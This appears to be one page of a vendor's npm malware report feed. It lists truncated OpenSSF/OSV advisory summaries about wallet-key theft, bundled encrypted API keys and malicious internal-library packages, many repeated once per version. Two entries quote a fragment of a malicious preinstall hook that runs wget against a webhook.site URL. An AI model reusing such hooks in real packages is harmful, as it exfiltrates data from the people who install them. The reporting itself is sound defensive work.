npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 725
Updated 28 Oct 2026, 05:47 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-4581 blocks this version. The package ships shared/keys.json containing 9 AES-256-GCM-encrypted Groq API keys. The decryption key is a fixed byte seq...
OpenSSF/OSV malware advisory MAL-2026-4581 blocks this version. The package ships shared/keys.json containing 9 AES-256-GCM-encrypted Groq API keys. The decryption key is a fixed byte seq...
OpenSSF/OSV malware advisory MAL-2026-3649 blocks this version. Three malicious npm packages published by the `superbase` account implement a dual-vector supply chain attack. Each package...
OpenSSF/OSV malware advisory MAL-2026-4584 blocks this version. The package exports a VelocityAuth() function that, when called by integrating applications, sends end-user Solana wallet p...
OpenSSF/OSV malware advisory MAL-2026-4583 blocks this version. package.json declares a preinstall lifecycle hook that runs `wget --quiet "https://webhook.site/64063d25-fcd3-44e5-a454-348...
OpenSSF/OSV malware advisory MAL-2026-4583 blocks this version. package.json declares a preinstall lifecycle hook that runs `wget --quiet "https://webhook.site/64063d25-fcd3-44e5-a454-348...
OpenSSF/OSV malware advisory MAL-2026-4582 blocks this version. The package's preinstall lifecycle hook in package.json runs `wget --quiet "https://webhook.site/64063d25-fcd3-44e5-a454-34...
OpenSSF/OSV malware advisory MAL-2026-6165 blocks this version. The npm package `ios-save-area-custom` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a deceptive React Nati...
OpenSSF/OSV malware advisory MAL-2026-6165 blocks this version. The npm package `ios-save-area-custom` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a deceptive React Nati...
OpenSSF/OSV malware advisory MAL-2026-6165 blocks this version. The npm package `ios-save-area-custom` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a deceptive React Nati...
OpenSSF/OSV malware advisory MAL-2026-6165 blocks this version. The npm package `ios-save-area-custom` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a deceptive React Nati...
OpenSSF/OSV malware advisory MAL-2026-6165 blocks this version. The npm package `ios-save-area-custom` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a deceptive React Nati...
OpenSSF/OSV malware advisory MAL-2026-6165 blocks this version. The npm package `ios-save-area-custom` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a deceptive React Nati...
OpenSSF/OSV malware advisory MAL-2026-6165 blocks this version. The npm package `ios-save-area-custom` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a deceptive React Nati...
OpenSSF/OSV malware advisory MAL-2026-5542 blocks this version. OSV/OpenSSF confirms india-map-react@2.0.3 as malicious package MAL-2026-5542. Malicious code in india-map-react (npm)
OpenSSF/OSV malware advisory MAL-2026-5542 blocks this version. OSV/OpenSSF confirms india-map-react@2.0.2 as malicious package MAL-2026-5542. Malicious code in india-map-react (npm)
OpenSSF/OSV malware advisory MAL-2026-5542 blocks this version. OSV/OpenSSF confirms india-map-react@2.0.1 as malicious package MAL-2026-5542. Malicious code in india-map-react (npm)
OpenSSF/OSV malware advisory MAL-2026-5613 blocks this version. OSV/OpenSSF confirms internallib_v346@1.1.2 as malicious package MAL-2026-5613. Malicious code in internallib_v346 (npm)
OpenSSF/OSV malware advisory MAL-2026-5613 blocks this version. OSV/OpenSSF confirms internallib_v346@1.1.1 as malicious package MAL-2026-5613. Malicious code in internallib_v346 (npm)
OpenSSF/OSV malware advisory MAL-2026-5613 blocks this version. OSV/OpenSSF confirms internallib_v346@1.1.0 as malicious package MAL-2026-5613. Malicious code in internallib_v346 (npm)
OpenSSF/OSV malware advisory MAL-2026-5613 blocks this version. OSV/OpenSSF confirms internallib_v346@1.0.9 as malicious package MAL-2026-5613. Malicious code in internallib_v346 (npm)
OpenSSF/OSV malware advisory MAL-2026-5613 blocks this version. OSV/OpenSSF confirms internallib_v346@1.0.5 as malicious package MAL-2026-5613. Malicious code in internallib_v346 (npm)
OpenSSF/OSV malware advisory MAL-2026-5613 blocks this version. OSV/OpenSSF confirms internallib_v346@1.0.3 as malicious package MAL-2026-5613. Malicious code in internallib_v346 (npm)
OpenSSF/OSV malware advisory MAL-2026-5695 blocks this version. OSV/OpenSSF confirms internallib_v984@99.0.0 as malicious package MAL-2026-5695. Malicious code in internallib_v984 (npm)
OpenSSF/OSV malware advisory MAL-2026-5695 blocks this version. OSV/OpenSSF confirms internallib_v984@1.0.5 as malicious package MAL-2026-5695. Malicious code in internallib_v984 (npm)